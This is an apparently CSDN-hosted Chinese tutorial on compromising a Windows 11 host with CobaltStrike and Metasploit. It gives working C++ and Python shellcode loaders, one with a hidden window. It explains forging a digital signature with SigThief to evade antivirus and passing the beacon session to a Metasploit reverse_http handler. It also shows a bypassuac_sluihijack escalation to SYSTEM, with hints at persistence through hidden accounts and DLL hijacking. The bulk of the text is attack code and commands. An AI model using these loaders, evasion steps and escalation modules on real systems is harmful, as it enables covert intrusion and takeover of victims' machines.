Metasploit联动CobaltStrike渗透win11主机并提权

CobaltStrike

CobaltStrike简称CS,是一款GUI框架式的渗透测试工具,集成了很多功能。最大的特点是可以团战,有一个服务器,多个客户端,每个客户端就是一个攻击者,攻击者通过连接到服务端来共享攻击资源和目标信息甚至session,服务器必须是Linux系统的

使用的大致流程是:创建团队服务器->客户端连接团队服务器->创建监听器->生成payload对应监听器->靶机运行后门上线->后渗透

CobaltStrike生成shellcode

在这里插入图片描述
第一步:打开CobaltStrike,右上角“攻击”→“生成后门”→Payload Generator

在这里插入图片描述
第二步:选择创建好的监听器(有关于监听器的创建,很多CobaltStrike基础文章都已经详细描述了,不了解的可以自行搜索,这里创建的是一个基于HTTP的监听器),勾选x64 payload,最后选择Generate,会显示输出路径,保存即可

在保存目录下,有一个payload.c的文件,右键编辑它,会看到类似字符数组的代码

unsigned char buf[]="\xfc\x......"

这串字符串的内容就是shellcode

基于python和C++的Shellcode加载器

现在我们已经得到了一个shellcode,但是我们并不能直接运行这段shellcode,需要先将它申请到内存中,再创建一个进程运行它,这就是shellcode加载器的作用。这里只讨论基础开发方式,如果想实现免杀,可以自己找资料学习,并不是特别困难。

C++

基于C++的shellcode加载器的基本写法:编译通过即可直接在Windows主机上运行

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/subsystem:\ "windows\" /entry: \"mainCRTStartup\ "")    //不显示窗口

unsigned char shellcode[]=
"\xfc\xe8......"

int main()
{
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    //为shellcode申请一块内存空间
    if(Memory == NULL){    //是否申请成功
        return 0;
    }
    memcpy(Memory, shellcode, sizeof(shellcode));    //将shellcode放置在该内存空间内
    ((void(*)())Memory)();    //核心代码,执行内存中的shellcode

        return 0;
}

python

基于Python的shellcode加载器的基本写法:将此.py文件改为.pyw文件,再利用pyinstaller打包即可

import ctypes
#ctypes模块可以用于调用c语言编写的api

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

#刚才用CobaltStrike生成的payload(字符型数组的内容)
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00......"

shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p  # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)  # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  # 将shellcode指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))  # 复制shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 检测线程创建事件

Sigthief仿造数字签名

现在我们已经有了一个shellcode加载器,但是我们需要逃避杀毒软件对shellcode加载器的静态查杀。现在的杀毒软件都会检测程序的证书,如果一个程序没有数字签名,那大概率就是一个可疑的程序。所以我们需要对程序进行证书仿造,以此来绕过一部分的杀毒软件。

sigthief是github上的一个开源项目,可以用于给恶意程序仿造正常程序的数字签名,仓库链接如下

https://github.com/secretsquirrel/SigThief

使用方法:
sigthief.py -i 一个正常的带证书的.exe文件(比如:火绒的安装包) -t shellcode加载器.exe -o 输出的文件名

CobaltStrike和MSF联动

MSF简介:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

使用MSF你需要安装kali操作系统,具体的安装方法,百度很多

第一步:打开metasploit,输入use exploit/multi/handler(设置参数lhost为kali的ip,lport为监听端口,建议四位数起步)
在这里插入图片描述
注意:payload应该设置为windows/meterpreter/reverse_http,不是reverse_tcp,刚才用CobaltStrike生成的木马是使用HTTP协议的,设置完成后,输入run运行监听

第二步:在CS上设置一个新的监听器,监听器设置方式如图所示
在这里插入图片描述

第四步:将shellcode加载器发送给目标主机,并在目标主机上运行。这里我使用的是我本人的真实主机,并且将shellcode加载器进行了sigthief添加数字签名并进行了免杀。双击,可以看到cobaltstrike已经上线了。
在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

第五步:将会话转发至metasploit,右击上线的主机,增加会话,选择刚才创建的MSF的监听器,最后点击choose。再回到kali,发现metasploit已经成功拿到了session

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

bypassuac提权

利用bypassuac的手段,可以将administrator权限的用户提升到System级别(在Windows操作系统下,administrator并不是最高权限,理论上来说System的权限比administrator大),现在的个人电脑几乎都可以利用这种方式将session提升到System级别

第一步:使用local_exploit_suggester模块,将session设置为抓取到的session的id,然后运行,这个模块会寻找该系统可用的提权模块。最后发现,有几个模块是可以被使用的。
在这里插入图片描述
在这里插入图片描述

第二步:使用上方的模块,比如exploit/windows/local/bypassuac_sluihijack。设置lport为新的端口(尽量避开已经使用的端口),设置session为刚才抓取的session的id。输入run,会发现进入了一个新的meterpreter窗口,输入getsystem指令,会发现权限被成功提升到了SYSTEM
在这里插入图片描述

至此,基本的流程就结束了,在system下可以通过创建隐藏账户或DLL劫持来进行权限维持,相关技术可以通过CSDN上的其他文章进行学习

  • 9
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值